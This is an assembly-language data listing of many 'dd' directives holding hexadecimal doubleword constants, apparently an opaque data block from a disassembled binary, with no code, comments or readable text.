		dd 1185907Eh, 0AC987D12h, 38DE8203h, 7DEA492Eh,	0D11A29Ch
		dd 0CE4355Eh, 0EEEB5062h, 9A10CCA4h, 3C4756FFh,	48451361h
		dd 33952B30h, 0F8519B6Bh, 0D57BC9CEh, 0E67EABCFh, 686B3428h
		dd 54C34DD3h, 4C7B3AAEh, 52172352h, 1729DACBh, 0C89B6CF2h
		dd 0E622B11Ah, 0C8350C45h, 0B4AA1D46h, 0E8604E6Ah, 0A7503BB5h
		dd 8DB646Ah, 0F1BD1E43h, 0F6106F24h, 8F1E0520h,	386ABA0Fh
		dd 0BC38989Eh, 3BAE396Ch, 0E883DA33h, 1A9639C4h, 0E2EB8627h
		dd 0B8AAA3A0h, 122B19DDh, 0B48699B0h, 95630622h, 0FB03FD0Dh
		dd 0D916E645h, 76445C71h, 0BA7ABACAh, 3259E4F8h, 408B6F12h
		dd 0F9F770B6h, 0EC1F9AE6h, 0F8B06C66h, 1C7F1012h, 877B4359h
		dd 8150A41Ch, 70FA7522h, 5557432Ch, 0D67BDA93h,	2CC23747h
		dd 64FC157Ah, 0A4829426h, 725F59E8h, 0F3E48955h, 0CF3FB7E8h
		dd 3D4CC608h, 0A799C874h, 0F694F73Eh, 225064EEh, 1F2AC72Ah
		dd 99BE3167h, 94C334Eh,	6FD6902Fh, 1C1F9A87h, 9BCB3EAEh
		dd 6588939Fh, 727865EFh, 2F29F359h, 283E2F52h, 0C3FE70ECh
		dd 0BD867C8Bh, 3F157B19h, 45FD03C6h, 33793AD6h,	629EAF69h
		dd 0A44248D0h, 53E635E1h, 9D3F848Bh, 2C64AA4Ah,	503A3EE4h
		dd 613640B3h, 8FB85FF0h, 2C7AD620h, 0E94D9E52h,	5D335623h
		dd 533DFDBCh, 4A1BE43Fh, 30377D15h, 31B998A9h, 2C45DDB3h
		dd 0F3D0AFBCh, 720FD81Eh, 0A79764C7h, 0E4110299h, 0A71F2D40h
		dd 0BDD8F453h, 27D5C3E0h, 627FB333h, 0FC0128E5h, 908A2F57h
		dd 0DE1E751Ch, 0FB84D81Eh, 3A1EE9E1h, 696452B1h, 6E37F926h
		dd 1FEB0984h, 0BD993963h, 0E4F05D69h, 0B8BA7979h, 0FBAF1D19h
		dd 3CA0B369h, 0FB3B958Dh, 0C3AB0492h, 0BC221C3Ch, 0D3D664DAh
		dd 0D3C45A59h, 20E72D22h, 0CC34CAF8h, 8E0CA7EDh, 5D0F1CD0h
		dd 764F87BBh, 34FAA99Dh, 47DF24A8h, 46AA572Bh, 21936999h
		dd 0CFD07784h, 0ADA84D06h, 804BD6F6h, 758E1DE0h, 7D263F21h
		dd 0AC4417E9h, 0CA2FF9D9h, 3A0AF4B7h, 5848AA73h, 5D5EB0Ch
		dd 98ADCDADh, 0C175693Fh, 0FDDF4691h, 0D8098122h, 4684EB4Fh
		dd 606172C5h, 0FCD3D20h, 0B0CF99D7h, 545CBDC9h,	631C4EA7h
		dd 606C633h, 45EAD109h,	0B73347h, 0A769258Eh, 113979C3h
		dd 980FCD0Fh, 2CC99D9Eh, 6DCCC156h, 2FBD6394h, 0B5F881B3h
		dd 0EDD6F0BEh, 8FA439D5h, 9BD36114h, 78F3D88Ah,	0EC47AE62h
		dd 28C1736Dh, 0EDC0DF50h, 8BAF8DD7h, 0F9BFAB2Bh, 0B4F2433Ch
		dd 0D1540483h, 0B938C6BDh, 8EA5BA7Ah, 4A23B05Eh, 94ECD14h
		dd 15CFB19Fh, 1A21361Eh, 0E672DC33h, 8AAFC8Ah, 442920D2h
		dd 6F5BE814h, 8F339ED5h, 0F2AFF916h, 0DD19BCDBh, 60C34E0Fh
		dd 2715A2D8h, 0E6C7DAF1h, 14F3835Ah, 0B0C5BC7Fh, 2EAC3275h
		dd 0DEAF6282h, 1AD36FF0h
		dd 0F3146E52h, 1634F66Ch, 0B20845FAh, 8C39E9D9h, 0A86A3B14h
		dd 3E2AB117h, 0A063FDC2h, 0CDE14035h, 0C34ED93Ah, 89D940E3h
		dd 4D27FFF0h, 59A8BE54h, 0F59D8228h, 0F38C9B39h, 6656D918h
		dd 0D3F53F7Ah, 0E6BA90h, 0BB24EBCEh, 66D3626Fh,	0A9D7283h
		dd 0C765672Eh, 28C3F5DAh, 53E3D516h, 0C2BC0A8Bh, 0CDAAF854h
		dd 33004650h, 383939D4h, 3C289080h, 4F822683h, 2C53678Fh
		dd 64DC20E8h, 6FE45AE1h, 71778ED0h, 6FE75Ah, 47267709h
		dd 1C9EF899h, 0D5282168h, 2B3F3D1Bh, 0B5335331h, 19FBCAD5h
		dd 3383A367h, 780023BDh, 20B71BE5h, 3D315E44h, 4E8EBD15h
		dd 0F4434074h, 509EADEFh, 7B2F6A5Fh, 9DC49923h,	90D2CD98h
		dd 94277386h, 10E2E11Fh, 5CC457E9h, 0DDE6B34Eh,	0F1404727h
		dd 26173860h, 0C93EC0CDh, 800FCC2Dh, 0D6635DFCh, 6E4B2634h
		dd 97627A94h, 379F78D4h, 90C197EAh, 96F64C99h, 0DCB5E12Eh
		dd 534F2A51h, 0A5FBA900h, 7C975A10h, 27D1274Dh,	19558E5Eh
		dd 0E73D3820h, 3695C4B7h, 0A718AEE7h, 90D089Fh,	28FFDCD3h
		dd 0D7BAF4D9h, 856B5B84h, 1D5CC020h, 9E5EB707h,	0C83F523Dh
		dd 0A15F385Fh, 0C5EC187Ah, 9051836Eh, 7E2FA573h, 5165AC64h
		dd 72C2D154h, 40871182h, 0CA052712h, 9E543478h,	0FA5A2A8Dh
		dd 545C0687h, 31E53E43h, 643C849h, 8256427Bh, 8570ECA1h
		dd 20DBBE49h, 0B92C33FAh, 8A07C52Ch, 36929932h,	65F52844h
		dd 3B61C4Eh, 9266594Fh,	678DE6FAh, 6AF7556h, 814298A2h
		dd 788AB632h, 0A0C82EA2h, 8535BA68h, 2E7A65A1h,	8775F02Eh
		dd 86C8F37Eh, 44E8BD62h, 0DA97A51Fh, 73053E60h,	0F8D49690h
		dd 0F084E59Bh, 5437A068h, 0B29192B7h, 0ED232445h, 0EDE27279h
		dd 0B9AD4523h, 6B41299Ch, 49E5048Eh, 78B9C7FAh,	0B862CC00h
		dd 8E76BD03h, 0A2691B3Fh, 27F2E875h, 574E6176h,	0BE83AAFCh
		dd 0F2114FE1h, 652B158Fh, 5C592882h, 0F5722C8Ah, 0B643391Ch
		dd 0D1786D82h, 0C773CC7Eh, 0A5C6BA45h, 2B25DAC2h, 56A31642h
		dd 2D8A59D1h, 699F4D3Ch, 489CC2B3h, 52D3C74h, 416D1675h
		dd 435A65D5h, 83A5D99h,	3890B4BFh, 8895350Dh, 1533EADFh
		dd 967BCB6Fh, 0EB68C4A3h, 0AC0504ECh, 7779949Dh, 0A228156Ah
		dd 0AFEFF8B9h, 0F36833E2h, 0AFA95890h, 0DECA19E7h, 312DE6C3h
		dd 7DA71CCh, 0A31C1CEAh, 76FCB29Fh, 0A331FBF1h,	0DD01FC54h
		dd 5DE1D57h, 361C1EA2h,	0B216FE49h, 32CF9FCh, 0F4A29B27h
		dd 2F17D281h, 8EB86969h, 7D4E5308h, 26748150h, 0FA158CA3h
		dd 97E2A2BFh, 0EFAF4E9Dh, 93A079C0h, 8BAA7BD9h,	620D4F58h
		dd 7A9B9B74h, 0D2E66AF3h, 90567C16h, 8D7E416Eh,	724D5D8Ah
		dd 228650E5h, 914951BFh, 0D36FD699h, 9EA65FFh, 0B4366B80h
		dd 145B95A2h, 557224D8h, 0D35BA75Ah, 0FF76EF2Ah, 0B5CFA880h
		dd 2737776Fh, 0C3FF8672h, 8301B44Fh, 0A764C9F7h, 9BA2B5D5h
		dd 0CE60954Ch, 0ABDB44CEh, 60D52AC6h, 8F76B1EBh, 587087C1h
		dd 980E585Dh, 0F0A05614h, 0C12925F5h, 582FD49Fh, 19D941D9h
		dd 0D03A60F1h, 0B895A6A9h, 80DED99Bh, 64D0B056h, 0C3927626h
		dd 21246B80h, 754A13C2h, 0FBC64FFAh, 6902D2F0h,	0D7C2AB06h
		dd 0C89D2A21h, 3EACBFF9h, 0B989CAE3h, 7F2D24D6h, 0BA34CF4Ah
		dd 0D2747BBAh, 8315A932h, 5FBB9A4Eh, 877C6269h,	2AB8B822h
		dd 5521061Dh, 3837625Dh, 5F341FA9h, 87A074AEh, 83F75838h
		dd 0C48B2262h, 0FA5B86E1h, 28C956EBh, 0B923FB4Bh, 0B11A22CDh
		dd 425BCF79h, 0E507DA63h, 98AF510Ah, 100B40DAh,	0EB254CBDh
		dd 0F06CD85Ah, 0A73CC7A8h, 1B9EACBFh, 0D210C495h, 0AA7DB5CDh
		dd 19B1CD4Bh, 0FABA09B6h, 8CB8FD1Ah, 0A746599Bh, 0FC9306FCh
		dd 0B083A77Fh, 5A17EB8Bh, 23D7A423h, 0D251E5B9h, 1D549230h
		dd 6A652A4Ch, 0CD0234B1h, 0F8F51D2Bh, 0AEEDC0F1h, 0C7AC0B99h
		dd 0D07A06ECh, 96F0D874h, 0D1D486F1h, 7E9B1D3Fh, 9D658F35h
		dd 0A1F1A7B4h, 0A20D8216h, 0D1B2CA44h, 3A2C151Fh, 8391C696h
		dd 1EF2509h, 5BC9E06Fh,	5C12EB4Eh, 0D470DA85h, 4BC3C777h
		dd 0B7C64BA2h, 0D72E7BF7h, 0E894B022h, 0EF133736h, 92C73E82h
		dd 7A729BE0h, 0CA2730ACh, 0AF55DDDFh, 28A26890h, 6FD3040Fh
		dd 191DB526h, 0B246AD97h, 0E25821F8h, 0C630C377h, 778E7596h
		dd 0A6ECF96Ah, 0BE396CD1h, 0C976C320h, 0B8891F9Fh, 8B8C0502h
		dd 7538A619h, 0D08713A0h, 7A6B4929h, 0C7F60D8h,	905E550Dh
		dd 48F84010h, 27B0D860h, 7A6C888Ah, 55AFBF9Bh, 264CB7AFh
		dd 1D1B68FDh, 3672262h,	0BA3363E9h, 0FC743571h,	0B8941C93h
		dd 0E6148337h, 69CE7208h, 99927DB3h, 3C6F7559h,	96E196C0h
		dd 7644E452h, 9E166F62h, 0AC62C8AFh, 0ACD80C0h,	9C468E75h
		dd 32C9C1C0h, 9BFEC75Dh, 475AD1F7h, 0E10FDF02h,	2EC3D883h
		dd 0A394D7C4h, 4C6D8D3Bh, 31D485E9h, 6EE5A5C6h,	93CDFDECh
		dd 47766F1Dh, 5C17AE9Bh, 0EB4BEE21h, 935FD00Ch,	0AA9C7D1Fh
		dd 6E21193Eh, 9BBF2316h, 7DA8418Dh, 2C414942h, 0D5418044h
		dd 0B30670Ch, 0B895A5Ah, 2F2067C2h, 23CCB2D4h, 7199F19Bh
		dd 0C8B7AF2Fh, 8D08A00Ah, 0F8D63642h, 0C18BC238h, 0CB8B9C19h
		dd 0F5DFC9FFh, 7568EC8h, 53169998h, 57EB5AB2h, 0F70DC81Eh
		dd 0E9BADF33h, 0F367F382h, 24718FF3h, 3D419DABh, 0AF824C8Dh
		dd 60DDF537h, 74EC29B9h, 58C446D6h, 0E70DF92Eh,	8FACDEB5h
		dd 0D3F520F8h, 86394BE8h, 659633A5h, 0B2E0930Ah, 35D8BB47h
		dd 72CE543Ch, 0E90C22EDh, 0E383F12Ch, 0CE47B1A6h, 5D8AE656h
		dd 6BDB745Bh, 3E97B96h,	5BF45BE5h, 0D6098ECh, 0A4EE0684h
		dd 0C50F89FDh, 0DBBDF138h, 0CB206ECDh, 29DB2FC7h, 4D8FEBEh
		dd 65111FDBh, 6641F9EEh, 30AD2FD8h, 11781F4Ah, 44DC093Ch
		dd 52D8CCEDh, 0D9F8119Ah, 74F8BFB4h, 0AB50C5FBh, 11A1CEFh
		dd 0E7A26519h, 43CCF5F5h, 17530C1Fh, 0EE4023F6h, 4BBA4BD3h
		dd 5DC0576h, 0D6BBED48h, 0C63DFFEEh, 0F6FF4BDDh, 0EDF114ACh
		dd 1DC2475h, 6F35D198h,	38042263h, 0EFF5AEF2h, 32B01D03h
		dd 0CDB6C770h, 8035584Ch, 0AB5D4A99h, 96580AB3h, 0A47AE5Bh
		dd 0FD6E6919h, 46412CF1h, 97AEA6B5h, 58167CABh,	0E3B08967h
		dd 0B700885h, 19E72DA0h, 0F4BB0176h, 43C7CE9Ch,	59F52842h
		dd 0AF8B01FFh, 46086D78h, 0CB97A1B3h, 0EA5D626Ch, 848CBB89h
		dd 64786436h, 0FCFC0C9Ch, 0FE0F9B78h, 8714DA36h, 4DBDE4DDh
		dd 0E35F1245h, 92CC5E80h, 0C07ADA27h, 0D204D055h, 0AF9D8DA4h
		dd 0DB0DCBC9h, 7D90C6E7h, 33BD49D2h, 8B428255h,	54C54819h
		dd 6712B9ABh, 0E516FFA4h, 9058EA3Dh, 7197EF5h, 0FB589E3Ch
		dd 0E1826D64h, 107CEF3Fh, 0C7E0E94Ah, 5B6F0AB1h, 8CC578E6h
		dd 55717569h, 3192533Fh, 14EFD4C1h, 9440FE83h, 0B458111Ah
		dd 0C22E9CD1h, 0A446542Ch, 0D6A45DCBh, 0E149F30Ah, 0DC2DA119h
		dd 9A53121Dh, 6E1DD92Dh, 0C3AC7EB1h, 85C28753h,	0F88E9AB3h
		dd 3129EC71h, 7C0803C8h, 88D69E78h, 0E27A586Ch,	0A6898BA5h
		dd 125A1D51h, 825BB60Eh, 68C382F9h, 296FFAD9h, 0D19498EFh
		dd 0D34485AEh, 7D8808EDh, 2A15B182h, 0ABF07C38h, 5A2B732Eh
		dd 6975B96Ah, 3BBE7D63h, 0B7883CF7h, 664D18D5h,	0BB279807h
		dd 0BBC0F0A0h, 40AFA6DAh, 384B5BDh, 3ED83EC5h, 1BB55E7Dh
		dd 0BE71BBABh, 753DB7Fh, 452B2D09h, 10ED1024h, 6A2D29E2h
		dd 6185F673h, 1F91F5D1h, 2E161331h, 18D428Eh, 5961D28Dh
		dd 535C59F4h, 76429A2Fh
		dd 3C7DF3C4h, 0E9F009A6h, 0E2E32C6h, 0FF916577h, 0C73FA43Ch
		dd 0A37DF5F6h, 0D100E040h, 6AEC86C7h, 0F9C3964Fh, 0E399182Ch
		dd 92A2A040h, 4A5BE9CCh, 0EE95059Ch, 3DA1D536h,	86D75616h
		dd 20D3886Ah, 0CD0FC529h, 53034510h, 9C754148h,	0FF6BC78Eh
		dd 4D2FD575h, 15885A46h, 60C2337Bh, 4F81762Ah, 15ED6D72h
		dd 0C85ADDDBh, 89D96B16h, 0A4BAB539h, 8E53B07Eh, 6838EF14h
		dd 0B8E16B9h, 7514A47h,	514FD6Dh, 12F3DB45h, 89FC1B2Dh
		dd 6EF3C047h, 0F9BC8A43h, 0BCAE908Eh, 0D4465496h, 6A7ED7EDh
		dd 0DCA29FEEh, 2BB12EE3h, 0B8DF3B49h, 3AEFCAAFh, 4CAA5B77h
		dd 3056697Dh, 7A002393h, 2D986BF7h, 0F5A451F1h,	0D2943C40h
		dd 8899C95Fh, 4AAA387Bh, 73FF3713h, 0E96A2254h,	0F67CD5D2h
		dd 0AB431E49h, 9F63435Fh, 0C810CB9Fh, 0CAC4CB56h, 47DB2AB1h
		dd 0D41102DFh, 2D44D622h, 1875A91Dh, 1F4CE6EAh,	0B973F180h
		dd 323C18C5h, 0B6EFD1E7h, 82EA5A1Ch, 0E10EF01Eh, 2B23EE47h
		dd 32E8D0DCh, 98AE9902h, 88949E37h, 0EB18C94Bh,	151D8E26h
		dd 0F059EA2Ah, 29BD2125h, 0B3FC36Dh, 34366326h,	0BE8ECA8Eh
		dd 8C29DF6Eh, 8D2159C6h, 28EAD577h, 1BB2D2D8h, 66E9C97Bh
		dd 42935CFDh, 0FD33A94h, 0C2F04E3Fh, 0A926F625h, 0CB260535h
		dd 0B3623A9Fh, 8A98A5F1h, 21360996h, 0B0C8A0EBh, 0E96D0840h
		dd 0D0820480h, 47C1F4EDh, 0C02A99BEh, 47473EA2h, 0BA8E6389h
		dd 0F0D9BA63h, 657546A1h, 7D731EEDh, 83F07B63h,	22422D4Eh
		dd 5DEDDCB9h, 989D4401h, 8DAFBE4Eh, 600F4D5Fh, 6363E4ECh
		dd 5B183359h, 0BEC5B87h, 8E5DAC16h, 2D96AB57h, 0C51AB00Ah
		dd 1949524Ch, 29A3F078h, 1C62DB92h, 0B2C13471h,	62071951h
		dd 91A8CBBFh, 7F5BA1F6h, 2059FBF5h, 7177AF83h, 424E6510h
		dd 55ECCCCEh, 1A80F21h,	0E48E71D2h, 3B673CD4h, 880141E1h
		dd 0E687117Ch, 0E5AEBCAh, 0D0358164h, 0A35491C2h, 47D9BAB8h
		dd 8CC6C43Bh, 0F0DA5FF1h, 0C64F5488h, 0B1E6B680h, 1E0F5CD9h
		dd 0EA10F97Eh, 161A9599h, 0D63AE2EDh, 68FDB289h, 0DB1C65FCh
		dd 0EE0AA354h, 0DEB9D4E0h, 9ABAE31Bh, 9EB7CA34h, 0E1CD769Bh
		dd 0C66BE5Fh, 16950C77h, 0F3F27520h, 224E5911h,	5D48A62Dh
		dd 41D173FAh, 5F2E8C94h, 0B3856BE4h, 21829DFDh,	1374902Ah
		dd 512E9D90h, 8793FEDAh, 39FABD16h, 0C2C0DFD0h,	0DA37724Ah
		dd 0D98722D9h, 0B2662847h, 8E22BA2Ah, 60B0D30Fh, 76EB12EDh
		dd 180D21ECh, 3AC5AC4Fh, 0BF65A89Bh, 9F36B04Fh,	0C55EEA52h
		dd 367FDD25h, 0C6D19A3Dh, 70AD001Ch, 37AEDA65h,	4C742CBBh
		dd 85EA29BFh, 73C12A6Bh, 19F5E795h, 0D54D1B0Ah,	0C1E4E20Ch
		dd 0F41394Eh, 842A3231h, 0DC766A34h, 0EFEE333Bh, 78883036h
		dd 57AA6C9Dh, 18A12D4Fh, 0D7CB5297h, 4C16D9F2h,	0B07F345h
		dd 866FB8E8h, 360B6227h, 2B259400h, 3413B5E2h, 368C97A0h
		dd 0EA36A9DAh, 16321EBh, 95307E57h, 41DC1DB5h, 41B582F5h
		dd 87DC09BBh, 8A7184B5h, 0AD56E4D6h, 89313CADh,	8FA242A3h
		dd 9F462A1h, 59D843C5h,	0C2297AF1h, 125E2430h, 286EC01Ah
		dd 0D758C07Ch, 0F69CED99h, 0FFFEEEC1h, 0F10A4423h, 63E22653h
		dd 3F56ADA8h, 1D2E7001h, 368235D5h, 12AEEC3Eh, 295AA279h
		dd 0B1DE2994h, 129CDB44h, 0BCA1DFEDh, 0B9E87BB0h, 0F32B2612h
		dd 0F00E4478h, 0CC6E26E3h, 8918BB7Ah, 0C58D226Ah, 727861FFh
		dd 6B53B043h, 560063h, 9D4C5EDDh, 5B446EEDh, 0EC9A3F33h
		dd 88F2D1FAh, 668F894Ch, 0BADF5416h, 2346A4B7h,	0B3FB6192h
		dd 0C3F1D93h, 8DC85817h, 9324B9B7h, 40D1C92Eh, 6EA2696Dh
		dd 9D2D61BAh, 0F416E23Dh, 9F7B2128h, 6E9E5D88h,	830C6C91h
		dd 31FF66EFh, 7664C3D3h, 0F17C984h, 667E1548h, 7587FB02h
		dd 436847A9h, 235464DDh, 46159447h, 57C0A233h, 2A5ADBC8h
		dd 1FE28773h, 8EE0018Ch, 1AD81036h, 37301A0Eh, 6F81422h
		dd 491F66A9h, 0E339F5C0h, 9F47552Dh, 92E3E05Dh,	36AD1F39h
		dd 7718D9AEh, 3A21008Ah, 0DF69A80h, 0E14CFD8Ch,	0DAB8AB10h
		dd 0A22D1073h, 9BF07B05h, 6B633F21h, 0BB158631h, 0A957710Eh
		dd 0B5DC0391h, 0F062A7B9h, 4CD50C68h, 695E7CB7h, 24376111h
		dd 29E432E6h, 6E18E6E7h, 1236542Fh, 72691E2Ch, 99FF7527h
		dd 9387076Ah, 0A06F79E8h, 8C1138DCh, 0C37E31EEh, 0D7F54A44h
		dd 0E9FEA864h, 0AA1464C2h, 0D7929B39h, 867A225Eh, 1F9D29DDh
		dd 4BE89C42h, 0E2D291CAh, 8366A412h, 0D5BF46EEh, 6D2868E5h
		dd 4F95DDB8h, 8BB8ACEBh, 30D91963h, 0C35DF396h,	0B7847E0Fh
		dd 0A929685Dh, 2A5D4935h, 1BF79A59h, 0A7743255h, 71492311h
		dd 61C70C66h, 19CD6F4Ch, 0E4FA3B8Dh, 67C88703h,	74205548h
		dd 0EA790DBEh, 0CB4CDAEEh, 981C3ECEh, 4F604F3h,	310EF59Eh
		dd 760447Fh, 735C95C9h,	985A868Dh, 0E942DB04h, 0C7495D2Eh
		dd 62880BFCh, 17488519h, 1EF4BEC4h, 0F3FB9CAAh,	6F03EC50h
		dd 4F0AFE9Ch, 288DAA88h, 1EF29940h, 6DAFBCCh, 0B5F19171h
		dd 99249523h, 69ABF9Dh,	0AA1C3556h, 442EA3BAh, 0A7C47AB0h
		dd 0FB4D5B59h, 41153C89h, 5189C2ACh, 0EC3B24C3h, 9D241455h
		dd 0C080FA57h, 0BF9674Ch, 8DE26542h, 0C24F12FFh, 24023711h
		dd 8086AD0h, 122B6BD7h,	92B889D4h, 0EAB60646h, 0D48A021Dh
		dd 66F666AAh, 68EA9CCFh, 87F57698h, 0D7FBEAC0h,	672DBA8Ah
		dd 0B44E9C09h, 59BBB72Eh, 445312DFh, 0DC80E4C6h, 7D52147Fh
		dd 3789693Ah, 73274431h, 4E721A81h, 512A7F47h, 38B947CEh
		dd 6D6DE524h, 0CE6EBD1Bh, 5735776Fh, 0D731B320h, 276182EAh
		dd 0E1038583h, 81172578h, 0CC507E7Bh, 0D1B0666Dh, 7FBD9502h
		dd 0BEAA2FD6h, 89CA8047h, 2A085024h, 0CB7D9E3Dh, 79791775h
		dd 0F8C8D164h, 41AC0FD7h, 1F5993ABh, 0DB477D12h, 0E4134D52h
		dd 8C343690h, 6AB29831h, 0E078958Ah, 0BD6BC8C9h, 38D2CA52h
		dd 0DBE9EE04h, 3536191Bh, 734D3C08h, 32588317h,	5500F3D2h
		dd 0DA8B73F6h, 0CE796434h, 55B5656Fh, 943C2E12h, 0EEB1556Fh
		dd 9B097DD3h, 6ED55A90h, 0ED04F389h, 0CF1E79ACh, 0CD56402h
		dd 88ADBAADh, 401867C7h, 0F3B101D0h, 0BDF6EC3Ah, 0E7513723h
		dd 31F5E7C4h, 7808B0F7h, 0C059F0CCh, 567D21DAh,	0FE3055B0h
		dd 0ED78F1A1h, 0EEACC81Bh, 68EB1206h, 30EA33EEh, 9AA5F1EAh
		dd 0C0ED61EDh, 0B8A84DBFh, 85100949h, 8594A8A7h, 0F0030697h
		dd 0C54217BCh, 58AF6797h, 644BE93Eh, 0F98015E7h, 0AFA734AEh
		dd 72FEA761h, 799F738Bh, 9E4905C1h, 8B3D5FD1h, 3AFFD72Dh
		dd 3653F60Bh, 22AA90A6h, 0E239BA9Ah, 96B1A4B8h,	16899B2Fh
		dd 0C4DD9A66h, 652BF9B0h, 6F3B3812h, 7872EC46h,	55FF73FEh
		dd 0AF4D969h, 511B4DB5h, 2400FD01h, 0C715E728h,	0AC99AA9Bh
		dd 86797514h, 6F404D28h, 8DE9942Ah, 41E09889h, 75B5AF13h
		dd 0AE2126E6h, 2E304300h, 2C41198Dh, 0F3A982FEh, 0A39C4B37h
		dd 0F4510282h, 0B419F29Eh, 57F5F299h, 0B2BC5CCAh, 578A6C49h
		dd 7AAD96CFh, 15B81FB5h, 4AE5A7EFh, 9C8AEB19h, 0EA12BCA7h
		dd 8884B624h, 7EF55AE2h, 0E412B47Eh, 0B9703C60h, 6CE92208h
		dd 40AE191Ch, 0FD46261Dh, 0E14FCCD6h, 0CBD67248h, 47162CFAh
		dd 0F303DF2Ch, 50E93570h, 1991A45Dh, 0F61C336Ch, 57982C71h
		dd 0D75E111Bh, 2C79FF7Fh, 6F68CC7Eh, 0F573997Ch, 0E21C606h
		dd 0DA9F1C27h, 750CEBB0h, 0F65F193Dh, 94292AB2h, 8E599C58h
		dd 5C66EFE0h, 76CE7508h
		dd 0FDC3FAF1h, 410BAE43h, 0B96B07EEh, 93FF4337h, 0C1483C71h
		dd 91962C74h, 8A757446h, 0A495E26Ah, 25913501h,	4E8C67D5h
		dd 0AF9C7FB0h, 66D18C6Dh, 0AD5BCB5Ah, 0C4AD221Ah, 0C9FCF386h
		dd 4C1CC76Ch, 120BEA70h, 0F53E28C1h, 0F563FF98h, 8D59ABC9h
		dd 0B53F9C6Eh, 0C128ABC4h, 0A6B72A4Fh, 0F68276DDh, 557E2943h
		dd 624CD7CFh, 8ABE05BFh, 0B448B033h, 0CF324752h, 51C4771Dh
		dd 0F7E28112h, 4EF4DE4h, 493821F4h, 9756273Fh, 0C6E0DBA7h
		dd 0C63732A3h, 904FA3BAh, 52832CBFh, 5FFFBA1Ah,	0D561609Fh
		dd 0BD1FC96Ch, 0D215B13Ah, 1ACC9DA6h, 0A739F187h, 0A27C181Fh
		dd 0F078E904h, 6123A9FAh, 6F4F487Eh, 0C6EA6F2Ch, 0B96F8B66h
		dd 17CE45E9h, 6D7148BBh, 0D84EA065h, 0C91B7EAh,	92DF3AA0h
		dd 0D77A436Dh, 6B3B21EDh, 0E5E57188h, 67FB5D32h, 5BA0F392h
		dd 88F359Dh, 0E13469Ah,	0BCF2D489h, 9C2AADB9h, 0CBE9E38h
		dd 85D794F0h, 0ED767E53h, 0B8EE0BC2h, 0E8BADB0Fh, 4A8029AAh
		dd 41F77E69h, 0C1985448h, 3DB7AB41h, 7758D0BDh,	3F721655h
		dd 4B4158D7h, 4B3FE428h, 0D9021A8Ah, 0EEC8E7A1h, 58D1F934h
		dd 3CB7A963h, 598987ACh, 68FE8D37h, 49AB8F7Bh, 0E53CD399h
		dd 8D5EFD10h, 0D1C4327Dh, 979C1250h, 0FD8194Fh,	41806803h
		dd 52BED265h, 2D32424Bh, 381E68A3h, 0AD2FB4AEh,	0AA4AC515h
		dd 29364EE5h, 8FA98E8Ch, 0FE0CF697h, 3927F0B0h,	0BFA7601Dh
		dd 0B5E4B2B9h, 6EB5387Dh, 0B20CFA71h, 5D8D2B39h, 0ECA82E50h
		dd 830F9B08h, 34C87076h, 72E739CBh, 672AB745h, 9BBCA9ECh
		dd 0FD474DABh, 9951236h, 19B10614h, 0F43C56AAh,	1886FC3Ch
		dd 0B4F8B779h, 0B967683h, 104AEEC3h, 9298FDE1h,	8DFEE75Dh
		dd 0E26EDB14h, 581AED6h, 8EE8130Dh, 88AF7BF5h, 0B95F5B07h
		dd 45341627h, 404E55A0h, 0E03FB60Dh, 67F3F360h,	7CB5C861h
		dd 51EB6886h, 0F812E20Fh, 0D57CA58Ch, 1A3AAF66h, 62AB0CCh
		dd 6AD0243h, 66536EDBh,	0F9B4A625h, 0ECEED2h, 0D6890451h
		dd 267BD150h, 389A8647h, 16812D69h, 3A531E4Ch, 7B0ED52h
		dd 63A7F5AEh, 92322CC2h, 0A02B8690h, 5B6C7AC0h,	4378C561h
		dd 0E64CAFCEh, 1C8AF3B6h, 75ADC905h, 0DC4ED609h, 7AA0C6F5h
		dd 5DD4336Bh, 925A62EBh, 2D2B1D8h, 33DC59C2h, 9A8268D7h
		dd 1BBAB548h, 0F7CD47ABh, 9738C1EBh, 18B29369h,	37658DFFh
		dd 7652E281h, 0C1379CF0h, 0CD6A9B67h, 0B4CCE3F7h, 0CCA4245Bh
		dd 6D78671Ch, 35AD5D6Fh, 0CEFCFFD6h, 1FA115C4h,	0EC89CBF2h
		dd 18D4DC7Ah, 79920711h, 0B7462FD9h, 49070670h,	0B79E2725h
		dd 0CA7467E2h, 0C436D020h, 5DCE2D8Ah, 340D7988h, 0B7B3EE8Ah
		dd 5F102F5Eh, 8DF48C8Bh, 5B4B2E54h, 0FBC4F366h,	0CCEBD90Bh
		dd 2B803CFBh, 53483648h, 0A13C4B98h, 2BBD997h, 323AB875h
		dd 0E6B5E6CAh, 1DEC757Dh, 0E2DE5043h, 9A8AE67Ah, 0BEFE9B49h
		dd 7E3C24CCh, 0C906F24Eh, 56E23DDEh, 0D362CAC5h, 90614084h
		dd 0D3F9DC01h, 28637FADh, 8133546Dh, 0C6FC4923h, 647722D2h
		dd 0F04DFB7Ch, 0B32AD1B1h, 4A8A34E0h, 0FCBF5C30h, 8F06FF25h
		dd 0F7320274h, 0B709FD72h, 0D648D687h, 3A7ACE4Dh, 4ABCBE73h
		dd 1B12B100h, 838E7EB9h, 0CB410EF7h, 50ED9D26h,	96F6A75h
		dd 0D0571210h, 0BD84F999h, 0DA55D5Eh, 0D7173B48h, 523EDC09h
		dd 887833Ah, 0EE4AFA30h, 79584D3Ch, 2CAC177Eh, 0F90C3E2Ch
		dd 74F4E136h, 0D33D07DDh, 13EC0C2Eh, 0B0D61173h, 49D2AE10h
		dd 0DDA6102Fh, 0A9DF025Ah, 75933732h, 0ECC85553h, 0BE4095D0h
		dd 234280Ah, 3C4A5D59h,	0FE2013C5h, 9AE4C9B2h, 7ADB5E32h
		dd 0EF81397Eh, 94854E4Ch, 0C84CA9C3h, 0BF4F94DBh, 66BF9759h
		dd 0FF9F9964h, 31113D9Ah, 54116B1Ah, 88F903D7h,	3696731Ch
		dd 77D6F7AFh, 0DA3D9266h, 0D1A82760h, 9F9F6A29h, 98213B36h
		dd 0A7B9B39Fh, 300FF461h, 0D5477A65h, 4ED9060Eh, 8F3B8306h
		dd 61B080BAh, 642BBF72h, 676300F0h, 0F62B3D3Ah,	0D2B766C5h
		dd 37FDF01Eh, 0D31B4774h, 0DE0AA616h, 3A5C3C34h, 500FA850h
		dd 0C9F91872h, 0B4232DF3h, 83AE6F4h, 0B4282137h, 0E11AD610h
		dd 0BE51618h, 6A318168h, 12CB4FAh, 54F8C3E3h, 76ADC583h
		dd 5C7E7CAEh, 35DDFF4Bh, 999CDD3Bh, 0B5AD4CF6h,	0A905D8E4h
		dd 84FF1800h, 36BBEA1Ah, 877094D2h, 520C418Bh, 6869B1C4h
		dd 0CCB348F4h, 3290AEB4h, 0F62ED643h, 15B5EC99h, 76B4AC46h
